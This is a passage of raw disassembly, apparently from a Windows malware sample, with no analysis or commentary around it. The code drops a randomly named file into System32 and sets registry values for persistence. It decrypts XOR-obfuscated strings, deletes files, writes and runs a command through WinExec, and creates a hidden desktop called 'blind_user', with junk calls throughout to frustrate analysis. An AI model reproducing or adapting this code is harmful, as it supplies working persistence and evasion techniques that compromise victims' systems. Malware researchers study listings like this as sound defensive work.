		mov	[ebp+var_2D6], ax
		lea	eax, [ebp+var_2CD]
		push	eax
		call	sub_40399B
		add	esp, 34h
		call	sub_40C764	; RtlGetLastWin32Error
		lea	edi, [ebp+var_2DB]
		lea	esi, aDdbl	; "Ddl"
		mov	ecx, 5
		rep movsb
		mov	eax, dword_4421EC
		mov	[ebp+var_2DF], eax
		call	sub_40CC38
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 41h
		mov	edx, edi
		mov	[ebp+var_101], dl
		call	sub_40C7C4	; GetTickCount
		mov	[ebp+var_1], 1
		jmp	short loc_403DAD
; ---------------------------------------------------------------------------

loc_403D7D:				; CODE XREF: sub_403BE7+1CBj
		call	sub_40CC38
		movzx	edi, [ebp+var_1]
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	esi, eax
		add	esi, 61h
		mov	edx, esi
		mov	[ebp+edi+var_101], dl
		add	[ebp+var_1], 1

loc_403DAD:				; CODE XREF: sub_403BE7+194j
		mov	al, [ebp+var_1]
		cmp	al, 8
		jbe	short loc_403D7D
		mov	ebx, 368Ch
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		mov	[ebp+var_F9], 0
		call	sub_40CC38
		mov	edx, eax
		test	dl, 1
		jnz	short loc_403DF5
		call	sub_40C7C4	; GetTickCount
		mov	[ebp+var_FB], 33h
		mov	[ebp+var_312], 25D6h
		inc	[ebp+var_312]
		mov	[ebp+var_FA], 32h

loc_403DF5:				; CODE XREF: sub_403BE7+1E9j
		push	9
		push	offset word_447542
		call	sub_40390E
		lea	edi, [ebp+var_101]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		lea	edi, [ebp+var_205]
		push	edi
		call	sub_40CC50
		lea	edi, [ebp+var_2E5]
		lea	esi, a1dy	; " /1dY"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_40341E
		mov	eax, dword_4421F6
		mov	[ebp+var_2E9], eax
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_205]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	ebx, eax
		call	sub_40C740	; GetCurrentThreadId
		push	[ebp+arg_0]
		mov	eax, offset aLjoaqkoc ;	"Ljoaqkoc"
		push	eax
		call	sub_40CC50
		push	0
		lea	eax, [ebp+var_2F0]
		push	eax
		push	1A01h
		push	offset dword_43D19C
		push	ebx
		call	sub_40C944	; WriteFile
		push	ebx
		call	sub_40C7AC	; CloseHandle
		call	sub_40C7D0	; GetVersion
		push	17h
		push	offset word_44752A
		call	sub_40390E
		lea	edi, [ebp+var_269]
		push	edi
		push	eax
		lea	edi, [ebp+var_101]
		push	edi
		call	sub_40CC50
		call	sub_40C764	; RtlGetLastWin32Error
		lea	eax, [ebp+var_205]
		push	eax
		push	offset byte_447529
		lea	eax, [ebp+var_101]
		push	eax
		push	80000000h
		call	sub_403F47
		call	sub_40C794	; GetProcessHeap
		push	0Eh
		push	offset aNLF	; ""
		call	sub_40390E
		mov	[ebp-314h], eax
		push	9
		push	offset aSiLnN	; ""
		call	sub_40390E
		push	eax
		mov	edi, [ebp-314h]
		push	edi
		lea	edi, [ebp+var_101]
		push	edi
		push	80000000h
		call	sub_403F47
		push	45h
		push	offset aKNoLEfLKNeoOke ; ""...
		call	sub_40390E
		lea	edi, [ebp+var_269]
		push	edi
		lea	edi, [ebp+var_2CD]
		push	edi
		push	eax
		push	80000002h
		call	sub_403F47
		add	esp, 80h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403BE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F47	proc near		; CODE XREF: sub_403BE7+2EFp
					; sub_403BE7+32Bp ...

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_2], 482Fh
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		inc	dword_43C230
		mov	[ebp+var_9], 0C8h
		add	[ebp+var_9], 59h
		and	[ebp+var_8], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CB3C	; RegCreateKeyExA
		call	sub_40C854	; IsDebuggerPresent
		mov	ecx, edi
		or	eax, 0FFFFFFFFh

loc_403FA2:				; CODE XREF: sub_403F47+60j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_403FA2
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		push	edi
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_8]
		call	sub_40CB6C	; RegSetValueExA
		mov	[ebp+var_11], 0A1h
		add	[ebp+var_11], 0D6h
		push	[ebp+var_8]
		call	sub_40CB48	; RegCloseKey
		call	sub_40C7C4	; GetTickCount
		pop	edi
		pop	esi
		leave
		retn
sub_403F47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FD8	proc near		; CODE XREF: sub_4040AA+A0p
					; sub_4040AA+C0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_442204
		lea	eax, ds:411CA0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 278h
		xor	edi, edi
		jmp	short loc_404021
sub_403FD8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404020

loc_404007:				; CODE XREF: sub_404020+3j
		mov	eax, dword_442204
		add	eax, edi
		lea	eax, ds:411CA0h[eax] ; DATA XREF: .data:0043F12Dw
					; .data:0043F147w ...
		movsx	edx, byte ptr [eax]
		xor	edx, 9Ah
		mov	[eax], dl
; END OF FUNCTION CHUNK	FOR sub_404020

; =============== S U B	R O U T	I N E =======================================



sub_404020	proc near		; DATA XREF: .data:0043F1FAo
					; .data:0043F210r

; FUNCTION CHUNK AT 00404007 SIZE 00000019 BYTES

		inc	edi

loc_404021:				; CODE XREF: sub_403FD8+2Dj
		cmp	edi, esi
		jl	short loc_404007 ; DATA	XREF: .data:0043F20Ar
		mov	dword ptr [ebp-8], 2C7h	; DATA XREF: .data:0043F204r

loc_40402C:				; DATA XREF: .data:loc_43F195r
					; .data:loc_43F1A5r ...
		mov	eax, dword_442204
		add	eax, esi
		mov	byte ptr ds:dword_411CA0[eax], 0 ; DATA	XREF: .data:0043F0A3w
					; .data:0043F0BEr ...
		mov	edi, dword_442204 ; DATA XREF: .data:0043F0B8o
					; .data:0043F0C6o
		mov	eax, edi
		lea	eax, [eax+esi+6]
		mov	dword_442204, eax
		cmp	eax, 0DB8h
		jle	short loc_40405A
		and	dword_442204, 0

loc_40405A:				; CODE XREF: sub_404020+31j
		mov	dword ptr [ebp-0Ch], 2EEh
		lea	eax, dword_411CA0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_404020	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40406B	proc near		; CODE XREF: sub_40AA24+3B9p

var_1496	= word ptr -1496h
var_1300	= byte ptr -1300h

		push	ebp
		mov	ebp, esp
		mov	eax, 14B4h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	sub_40C854	; IsDebuggerPresent
		mov	ax, word_442208
		mov	[ebp+var_1496],	ax ; DATA XREF:	.data:0043F048w
		call	sub_40C7C4	; DATA XREF: .data:0043F04Dw
					; .data:0043F069w
		push	0FFh		; DATA XREF: .data:0043F5A8w
					; .data:0043F5AEr ...
		lea	eax, [ebp+var_1300] ; DATA XREF: .data:00440391r
		push	eax
		push	0
		call	sub_40C770	; GetModuleFileNameA
		call	sub_40C7C4	; GetTickCount
sub_40406B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4040AA	proc near		; DATA XREF: sub_43F624+Co
		mov	dword ptr [ebp-1394h], 94h
		mov	word ptr [ebp-1100h], 47E6h ; DATA XREF: sub_43F624+1Co
		movzx	eax, word ptr [ebp-1100h]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-1100h], ax
		lea	eax, [ebp-1394h]
		push	eax
		call	sub_40C7DC	; GetVersionExA
		mov	word ptr [ebp-1102h], 21A4h
		movzx	eax, word ptr [ebp-1102h]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-1102h], ax
		lea	edi, [ebp-149Dh]
		lea	esi, aRMqq	; "`R#MqQ"
		mov	ecx, 7
		rep movsb
		cmp	dword ptr [ebp-1384h], 2
		jnz	loc_4041A4
		call	sub_40C7D0	; GetVersion
		push	0FFh
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_40C7A0	; GetSystemDirectoryA
		lea	edi, [ebp-14B3h]
		lea	esi, byte_442211
		mov	ecx, 7
		rep movsb
		push	0Fh
		push	offset word_4474BA
		call	sub_403FD8
		lea	edi, [ebp-0FFh]
		push	edi
		push	eax
		lea	edi, [ebp-1201h]
		push	edi
		call	sub_40CC50
		push	0Ah
		push	offset byte_4474AF
		call	sub_403FD8
		lea	edi, [ebp-0FFh]
		push	edi
		push	eax
		lea	edi, [ebp-1494h]
		push	edi
		call	sub_40CC50
		push	8
		push	offset word_4474A6
		call	sub_403FD8
		push	eax
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC74
		add	esp, 38h
		jmp	loc_404233
; ---------------------------------------------------------------------------

loc_4041A4:				; CODE XREF: sub_4040AA+6Aj
		call	sub_40C764	; RtlGetLastWin32Error
		push	0FFh
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_40C7F4	; GetWindowsDirectoryA
		call	sub_40C854	; IsDebuggerPresent
		push	0Fh
		push	offset word_447496
		call	sub_403FD8
		lea	edi, [ebp-0FFh]
		push	edi
		push	eax
		lea	edi, [ebp-1201h]
		push	edi
		call	sub_40CC50
		call	sub_40C7D0	; GetVersion
		push	0Eh
		push	offset byte_447487
		call	sub_403FD8
		lea	edi, [ebp-0FFh]
		push	edi
		push	eax
		lea	edi, [ebp-1494h]
		push	edi
		call	sub_40CC50
		lea	edi, [ebp-14AFh]
		lea	esi, byte_442218
		mov	ecx, 3
		rep movsb
		push	0Ch
		push	offset word_44747A
		call	sub_403FD8
		push	eax
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC74
		add	esp, 38h

loc_404233:				; CODE XREF: sub_4040AA+F5j
		lea	eax, [ebp-1494h]
		push	eax
		call	sub_40C704	; DeleteFileA
		call	sub_40C794	; GetProcessHeap
		lea	edi, [ebp-14A4h]
		lea	esi, a99a	; "-; 99a"
		mov	ecx, 7
		rep movsb
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp-1201h]
		push	eax
		call	sub_40C8CC	; CreateFileA
		mov	ebx, eax
		call	sub_40C7D0	; GetVersion
		push	39h
		push	offset dword_447440
		call	sub_403FD8
		lea	edi, [ebp-1201h]
		push	edi
		lea	edi, [ebp-1300h]
		push	edi
		lea	edi, [ebp-1300h]
		push	edi
		push	eax
		lea	edi, [ebp-10FEh]
		push	edi
		call	sub_40CC50
		add	esp, 1Ch
		call	sub_40C7C4	; GetTickCount
		lea	ecx, [ebp-10FEh]
		or	eax, 0FFFFFFFFh

loc_4042BB:				; CODE XREF: sub_4040AA+216j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4042BB
		push	0
		lea	esi, [ebp-14A8h]
		push	esi
		push	eax
		lea	edi, [ebp-10FEh]
		push	edi
		push	ebx
		call	sub_40C944	; WriteFile
		call	sub_40C764	; RtlGetLastWin32Error
		push	ebx
		call	sub_40C7AC	; CloseHandle
		mov	eax, dword_442222
		mov	[ebp-14ACh], eax
		push	8
		push	offset aSS	; "麵ٺ"
		call	sub_403FD8
		add	esp, 8
		lea	edi, [ebp-1201h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		push	eax
		lea	edi, [ebp-10FEh]
sub_4040AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404313	proc near		; DATA XREF: sub_43F725+1E1o
		push	edi
		call	sub_40CC50
		add	esp, 10h
		push	0
		lea	eax, [ebp-10FEh]
		push	eax
		call	sub_40C938	; WinExec
		mov	byte ptr [ebp-1395h], 69h
		add	byte ptr [ebp-1395h], 1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404313	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 200h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_442230
		lea	eax, ds:430C30h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 100h
		xor	edi, edi
		jmp	short loc_40438C
; ---------------------------------------------------------------------------

loc_404372:				; CODE XREF: .text:0040438Ej
		mov	eax, dword_442230
		add	eax, edi
		lea	eax, ds:430C30h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi

loc_40438C:				; CODE XREF: .text:00404370j
		cmp	edi, esi
		jl	short loc_404372
		mov	eax, dword_442230
		add	eax, esi
		mov	byte ptr ds:dword_430C30[eax], 0
		xor	edi, edi
		mov	edi, dword_442230
		mov	eax, edi
		lea	eax, [eax+esi+1]
		mov	dword_442230, eax
		cmp	eax, 0DCCh
		jle	short loc_4043C0
		and	dword_442230, 0

loc_4043C0:				; CODE XREF: .text:004043B7j
		lea	eax, dword_430C30[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043CA	proc near		; CODE XREF: sub_4061F7+22Cp
					; sub_408B4C+1ABp

var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_7		= byte ptr -7
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_7]
		lea	esi, dword_442238
		mov	ecx, 3
		rep movsb
		cmp	dword_442234, 0
		jz	short loc_404422
		mov	[ebp+var_A], 4080h
		movzx	eax, [ebp+var_A]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_A], ax
		call	sub_40C740	; GetCurrentThreadId
		push	eax
		call	sub_40CA58	; GetThreadDesktop
		mov	[ebp+var_10], eax
		call	sub_40C794	; GetProcessHeap
		mov	eax, dword_442234
		cmp	[ebp+var_10], eax
		jnz	short loc_404450
		xor	eax, eax
		inc	eax
		jmp	short loc_404469
; ---------------------------------------------------------------------------

loc_404422:				; CODE XREF: sub_4043CA+20j
		push	0
		push	0C7h
		push	0
		push	0
		push	0
		push	offset aBlind_user ; "blind_user"
		call	sub_40CA40	; CreateDesktopA
		mov	dword_442234, eax
		call	sub_40C740	; GetCurrentThreadId
		cmp	dword_442234, 0
		jnz	short loc_404450
		xor	eax, eax
		jmp	short loc_404469
; ---------------------------------------------------------------------------

loc_404450:				; CODE XREF: sub_4043CA+51j
					; sub_4043CA+80j
		push	dword_442234
		call	sub_40CA4C	; SetThreadDesktop
		mov	[ebp+var_4], eax
		mov	ebx, 5CBAh
		mov	ecx, ebx
		add	ecx, ebx
		mov	ebx, ecx

loc_404469:				; CODE XREF: sub_4043CA+56j
					; sub_4043CA+84j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4043CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40446E	proc near		; CODE XREF: sub_4061F7+2C6p
					; sub_408B4C+230p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 1763h
		add	edi, 25D9h
		mov	eax, [ebp+arg_0]
		lea	edx, aBlind_user ; "blind_user"
		mov	[eax+8], edx
		call	sub_40C794	; GetProcessHeap
		pop	edi
		pop	ebp
		retn
sub_40446E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404491	proc near		; CODE XREF: sub_404586+7p
					; sub_4045EF-2Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_442244
		lea	eax, ds:4176F0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 5Dh
		xor	edi, edi
		jmp	short loc_4044D9
; ---------------------------------------------------------------------------

loc_4044BF:				; CODE XREF: sub_404491+4Aj
		mov	eax, dword_442244
		add	eax, edi
		lea	eax, ds:4176F0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0B6h
		mov	[eax], dl
		inc	edi

loc_4044D9:				; CODE XREF: sub_404491+2Cj
		cmp	edi, esi
		jl	short loc_4044BF
		mov	eax, dword_442244
		add	eax, esi
		mov	byte ptr ds:dword_4176F0[eax], 0
		xor	edi, edi
		mov	edi, dword_442244
		add	dword_442244, 2
		mov	eax, dword_442244
		add	eax, 5
		add	eax, esi
		mov	dword_442244, eax
		cmp	eax, 0DD3h
		jle	short loc_404518
		and	dword_442244, 0

loc_404518:				; CODE XREF: sub_404491+7Ej
		mov	[ebp+var_8], 165h
		lea	eax, dword_4176F0[edi]
sub_404491	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404525	proc near		; DATA XREF: sub_43F725+A6o
		pop	edi
		pop	esi
		leave
		retn
sub_404525	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404529	proc near		; CODE XREF: sub_4054C8+702p
					; sub_4054C8+7C6p ...

var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C740	; GetCurrentThreadId
		push	[ebp+arg_4]
		push	ebx
		call	sub_40CC74
		add	esp, 8
		call	sub_40C854	; IsDebuggerPresent
		lea	edi, [ebp+var_100]
		lea	esi, byte_442248
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404641
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_FF], 0
		call	sub_40C764	; RtlGetLastWin32Error
sub_404529	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404586	proc near		; DATA XREF: sub_43F725+476o
		push	3
		push	offset aSC	; ""
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h
		call	sub_40C794	; GetProcessHeap
		mov	byte ptr [ebp-101h], 0
		jmp	short loc_404605
sub_404586	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4045EF

loc_4045AA:				; CODE XREF: sub_4045EF+1Ej
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_4045FE
		push	4
		push	offset aUU	; "œ"
		call	sub_404491
		mov	[ebp-108h], eax
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-108h]
		push	edi
; END OF FUNCTION CHUNK	FOR sub_4045EF

; =============== S U B	R O U T	I N E =======================================



sub_4045EF	proc near		; DATA XREF: sub_43F725+4B8o

; FUNCTION CHUNK AT 004045AA SIZE 00000045 BYTES

		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		add	esp, 18h

loc_4045FE:				; CODE XREF: sub_4045EF-35j
		add	byte ptr [ebp-101h], 1

loc_404605:				; CODE XREF: sub_404586+22j
		mov	al, [ebp-101h]
		cmp	al, 0Ah
		jb	short loc_4045AA
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CC74
		call	sub_40C854	; IsDebuggerPresent
		push	3
		push	offset aCS	; ""
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 18h
		call	sub_40C854	; IsDebuggerPresent

loc_404641:				; CODE XREF: sub_404529+46j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404721
		call	sub_40C740	; GetCurrentThreadId
		push	10h
		push	offset aCuUUClcuN ; "ĖՓՓՖÍ"
		call	sub_404491
		mov	[ebp-108h], eax
		call	sub_40CC38
		mov	[ebp-10Ch], eax
		call	sub_40CC38
		mov	[ebp-110h], eax
		call	sub_40CC38
		mov	[ebp-114h], eax
		call	sub_40CC38
		mov	ecx, 0EA60h
		cdq
		idiv	ecx
		push	edx
		mov	edi, [ebp-114h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-110h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-10Ch]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-108h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		mov	byte ptr [ebp-101h], 80h
		add	byte ptr [ebp-101h], 1
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CC74
sub_4045EF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40470D	proc near		; DATA XREF: sub_43F725+600o
		add	esp, 28h
		lea	edi, [ebp-102h]
		lea	esi, byte_442249
		xor	ecx, ecx
		inc	ecx
		rep movsb

loc_404721:				; CODE XREF: sub_4045EF+62j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_4047EE
		mov	byte ptr [ebp-101h], 6Ch
		movzx	eax, byte ptr [ebp-101h]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-101h], al
		push	0Ah
		push	offset aSsuUU	; "ՓՓջ"
		call	sub_404491
		mov	[ebp-108h], eax
		call	sub_40CC38
		mov	[ebp-10Ch], eax
		call	sub_40CC38
		mov	[ebp-110h], eax
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-110h]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
sub_40470D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40479E	proc near		; DATA XREF: sub_43F725+502o
		add	edi, 61h
		push	edi
		mov	edi, [ebp-10Ch]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp-108h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		mov	byte ptr [ebp-102h], 0ABh
		sub	byte ptr [ebp-102h], 19h
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 24h
		call	sub_40C854	; IsDebuggerPresent

loc_4047EE:				; CODE XREF: sub_40470D+24j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404816
		push	2
		push	offset asc_447400 ; ""
sub_40479E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404807	proc near		; DATA XREF: sub_43F725+52Do
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404816:				; CODE XREF: sub_40479E+60j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404807	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40481B	proc near		; CODE XREF: sub_4054C8+1A2p
					; sub_4054C8+1D3p ...

var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_141		= byte ptr -141h
var_13B		= byte ptr -13Bh
var_136		= word ptr -136h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_129		= byte ptr -129h
var_120		= byte ptr -120h
var_108		= dword	ptr -108h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 150h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_108], 53AAh
		inc	[ebp+var_108]
		push	[ebp+arg_4]
		push	ebx
		call	sub_40CC74
		add	esp, 8
		lea	edi, [ebp+var_120]
		lea	esi, aKCivm	; "K CiM "
		movsd
		movsd
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404A43
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_FF], 0
		mov	[ebp+var_130], 55F4h
		inc	[ebp+var_130]
		push	5
		push	offset aKciic	; ""
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h
		call	sub_40C7D0	; GetVersion
		mov	[ebp+var_129], 0
		jmp	loc_4049F9
; ---------------------------------------------------------------------------

loc_4048AD:				; CODE XREF: sub_40481B+1E6j
		call	sub_40C740	; GetCurrentThreadId
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404906
		push	4
		push	offset aUU	; "œ"
		call	sub_404491
		mov	[ebp+var_148], eax
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+var_148]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CC50
		add	esp, 18h

loc_404906:				; CODE XREF: sub_40481B+A7j
		lea	edi, [ebp+var_13B]
		lea	esi, aByqv	; "BYQV"
		mov	ecx, 5
		rep movsb
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_40496D
		push	4
		push	offset aUU	; "œ"
		call	sub_404491
		mov	[ebp+var_14C], eax ; DATA XREF:	sub_43F725+41Dr
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+var_14C]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CC50
		add	esp, 18h

loc_40496D:				; CODE XREF: sub_40481B+10Ej
		lea	edi, [ebp+var_141]
		lea	esi, a4lk	; "&*4LK"
		mov	ecx, 3
		rep movsw
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 7
		jge	short loc_4049D5
		push	4
		push	offset aUU	; "œ"
		call	sub_404491
		mov	[ebp+var_150], eax
		call	sub_40CC38
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		mov	edi, [ebp+var_150]
		push	edi
		lea	edi, [ebp+var_FF]
		push	edi
		call	sub_40CC50
		add	esp, 18h

loc_4049D5:				; CODE XREF: sub_40481B+176j
		mov	[ebp+var_136], 61C9h
		movzx	eax, [ebp+var_136]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_136], ax ; DATA XREF: sub_43F725+2Ao
		add	[ebp+var_129], 1

loc_4049F9:				; CODE XREF: sub_40481B+8Dj
		mov	al, [ebp+var_129]
		cmp	al, 0Ah
		jb	loc_4048AD
		lea	eax, [ebp+var_FF]
		push	eax
		push	ebx
		call	sub_40CC74
		call	sub_40C734	; GetCurrentProcessId
		push	4
		push	offset aIiic	; ""
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 18h
		mov	[ebp+var_134], 46D8h ; DATA XREF: sub_440126+12o
		sub	[ebp+var_134], 3C21h

loc_404A43:				; CODE XREF: sub_40481B+49j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	loc_404BD4
		mov	[ebp+var_130], 53ABh
		add	[ebp+var_130], 4F65h
		mov	[ebp+var_FF], 0
		mov	eax, dword_44225D
		mov	[ebp+var_134], eax
		mov	[ebp+var_129], 0
		jmp	loc_404BB6
sub_40481B	endp

; ---------------------------------------------------------------------------
